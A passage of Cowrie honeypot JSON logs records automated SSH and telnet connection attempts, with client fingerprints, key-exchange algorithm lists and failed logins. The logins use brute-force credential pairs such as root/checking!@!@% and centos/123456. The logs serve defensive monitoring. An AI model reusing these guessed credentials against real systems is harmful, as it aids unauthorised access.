ncCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:19:08.997190Z","src_ip":"83.168.110.85","session":"40737200201c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"sam","password":"sam","message":"login attempt [sam/sam] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:19:09.364812Z","src_ip":"83.168.110.85","session":"40737200201c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:19:10.561083Z","src_ip":"83.168.110.85","session":"40737200201c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"77.94.47.83","src_port":46142,"dst_ip":"159.203.135.109","dst_port":22,"session":"986b4b74a6d1","protocol":"ssh","message":"New connection: 77.94.47.83:46142 (159.203.135.109:22) [session: 986b4b74a6d1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:19:14.399714Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:19:14.404846Z","src_ip":"77.94.47.83","session":"986b4b74a6d1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:19:14.532365Z","src_ip":"77.94.47.83","session":"986b4b74a6d1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"checking!@!@%","message":"login attempt [root/checking!@!@%] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:19:14.916319Z","src_ip":"77.94.47.83","session":"986b4b74a6d1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"83.168.110.85","src_port":38142,"dst_ip":"10.17.0.5","dst_port":22,"session":"51c336ea498f","protocol":"ssh","message":"New connection: 83.168.110.85:38142 (10.17.0.5:22) [session: 51c336ea498f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:19:15.700594Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:19:15.705544Z","src_ip":"83.168.110.85","session":"51c336ea498f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:19:15.826452Z","src_ip":"83.168.110.85","session":"51c336ea498f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:19:16.046425Z","src_ip":"77.94.47.83","session":"986b4b74a6d1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"password","message":"login attempt [user/password] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:19:16.220966Z","src_ip":"83.168.110.85","session":"51c336ea498f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:19:17.350511Z","src_ip":"83.168.110.85","session":"51c336ea498f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"83.168.110.85","src_port":38150,"dst_ip":"10.17.0.5","dst_port":22,"session":"94f6b952f107","protocol":"ssh","message":"New connection: 83.168.110.85:38150 (10.17.0.5:22) [session: 94f6b952f107]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:19:22.841558Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:19:22.846614Z","src_ip":"83.168.110.85","session":"94f6b952f107","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:19:22.967843Z","src_ip":"83.168.110.85","session":"94f6b952f107","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user3","password":"user3","message":"login attempt [user3/user3] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:19:23.330762Z","src_ip":"83.168.110.85","session":"94f6b952f107","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:19:24.735529Z","src_ip":"83.168.110.85","session":"94f6b952f107","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"128.201.9.152","src_port":47046,"dst_ip":"10.17.0.5","dst_port":22,"session":"2b0696fe55c3","protocol":"ssh","message":"New connection: 128.201.9.152:47046 (10.17.0.5:22) [session: 2b0696fe55c3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:19:24.932329Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:19:24.937884Z","src_ip":"128.201.9.152","session":"2b0696fe55c3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:19:25.063428Z","src_ip":"128.201.9.152","session":"2b0696fe55c3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":57.75849890708923,"message":"Connection lost after 57 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:19:25.191714Z","src_ip":"152.42.224.71","session":"ba16668b1991","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"root","password":"eagle1","message":"login attempt [root/eagle1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:19:25.598658Z","src_ip":"128.201.9.152","session":"2b0696fe55c3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:19:26.726992Z","src_ip":"128.201.9.152","session":"2b0696fe55c3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"83.168.110.85","src_port":47258,"dst_ip":"10.17.0.5","dst_port":22,"session":"3c3a5c75bd4e","protocol":"ssh","message":"New connection: 83.168.110.85:47258 (10.17.0.5:22) [session: 3c3a5c75bd4e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:19:29.792834Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:19:29.798282Z","src_ip":"83.168.110.85","session":"3c3a5c75bd4e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:19:29.919308Z","src_ip":"83.168.110.85","session":"3c3a5c75bd4e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"centos","password":"123456","message":"login attempt [centos/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:19:30.285978Z","src_ip":"83.168.110.85","session":"3c3a5c75bd4e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:19:31.477929Z","src_ip":"83.168.110.85","session":"3c3a5c75bd4e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":48418,"dst_ip":"10.17.0.5","dst_port":23,"session":"e2f5c9def6c6","protocol":"telnet","message":"New connection: 152.42.224.71:48418 (10.17.0.5:23) [session: e2f5c9def6c6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:19:32.835222Z"}
{"eventid":"cowrie.session.closed","duration":112.2665114402771,"message":"Connection lost after 112 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:19:33.088753Z","src_ip":"152.42.224.71","session":"119d11398fad","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"83.168.110.85","src_port":60910,"dst_ip":"10.17.0.5","dst_port":22,"session":"e7a00033e89a","protocol":"ssh","message":"New connection: 83.168.110.85:60910 (10.17.0.5:22) [session: e7a00033e89a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:19:36.637512Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:19:36.641937Z","src_ip":"83.168.110.85","session":"e7a00033e89a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:19:36.762364Z","src_ip":"83.168.110.85","session":"e7a00033e89a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"erpnext","password":"erpnext","message":"login attempt [erpnext/erpnext] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:19:37.276014Z","src_ip":"83.168.110.85","session":"e7a00033e89a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:19:38.402459Z","src_ip":"83.168.110.85","session":"e7a00033e89a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"83.168.110.85","src_port":60922,"dst_ip":"10.17.0.5","dst_port":22,"session":"b4b0ae0fd9a0","protocol":"ssh","message":"New connection: 83.168.110.85:60922 (10.17.0.5:22) [session: b4b0ae0fd9a0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:19:43.839102Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:19:43.843325Z","src_ip":"83.168.110.85","session":"b4b0ae0fd9a0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:19:43.964258Z","src_ip":"83.168.110.85","session":"b4b0ae0fd9a0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ftp","password":"ftp123","message":"login attempt [ftp/ftp123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:19:44.351546Z","src_ip":"83.168.110.85","session":"b4b0ae0fd9a0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:19:45.695003Z","src_ip":"83.168.110.85","session":"b4b0ae0fd9a0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.118","src_port":45638,"dst_ip":"159.203.135.109","dst_port":23,"session":"7dd28dd1864f","protocol":"telnet","message":"New connection: 176.65.139.118:45638 (159.203.135.109:23) [session: 7dd28dd1864f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:19:47.771946Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":32836,"dst_ip":"10.17.0.5","dst_port":23,"session":"7291f4bbf3f2","protocol":"telnet","message":"New connection: 152.42.224.71:32836 (10.17.0.5:23) [session: 7291f4bbf3f2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:19:48.293556Z"}
{"eventid":"cowrie.session.closed","duration":3.037297487258911,"message":"Connection lost after 3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:19:50.809122Z","src_ip":"176.65.139.118","session":"7dd28dd1864f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.118","src_port":52614,"dst_ip":"159.203.135.109","dst_port":23,"session":"7be53c0dcd27","protocol":"telnet","message":"New connection: 176.65.139.118:52614 (159.203.135.109:23) [session: 7be53c0dcd27]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:19:50.996684Z"}
{"eventid":"cowrie.session.connect","src_ip":"83.168.110.85","src_port":39622,"dst_ip":"10.17.0.5","dst_port":22,"session":"a7801a689a95","protocol":"ssh","message":"New connection: 83.168.110.85:39622 (10.17.0.5:22) [session: a7801a689a95]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:19:51.107742Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:19:51.111831Z","src_ip":"83.168.110.85","session":"a7801a689a95","protocol":"ssh"}
